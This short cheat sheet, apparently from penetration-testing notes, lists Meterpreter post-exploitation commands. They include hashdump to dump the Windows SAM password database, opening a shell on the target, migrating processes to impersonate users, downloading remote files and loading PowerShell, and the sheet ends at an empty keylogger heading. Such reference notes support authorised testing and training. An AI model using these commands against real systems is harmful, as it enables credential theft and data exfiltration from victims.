Meterpreter
Meterpreter
Useful commands:
?
View a list of available commands
help
Displays the help menu
background
Sends the current Meterpreter session into the background, and returns to the msf prompt
Use the
session -icommand to get back to the Meterpreter session
cat,cd,pwd,ls
Similar to the Linux command line
hashdump
Dumps the contents of the SAM database
The Security Accounts Manager (SAM) is a database file in Windows that contains usernames and passwords
shell
Presents a standard shell on the target system
ps
List running processes
Eg. Find all processes running explorer.exe
meterpreter> ps | grep "explorer.exe"migrate
Migrate to another process
Useful for impersonating another user session
download
To download a file from the remote machine
Note the use of the double-slashes in the Windows path
meterpreter> download c:\\users\test\file.txtload
Eg. powershell
meterpreter> load powershell
meterpreter> help
powershell_shell
powershell_xxxx
...
meterpreter> powershell_shell
PS> Keylogger
Last updated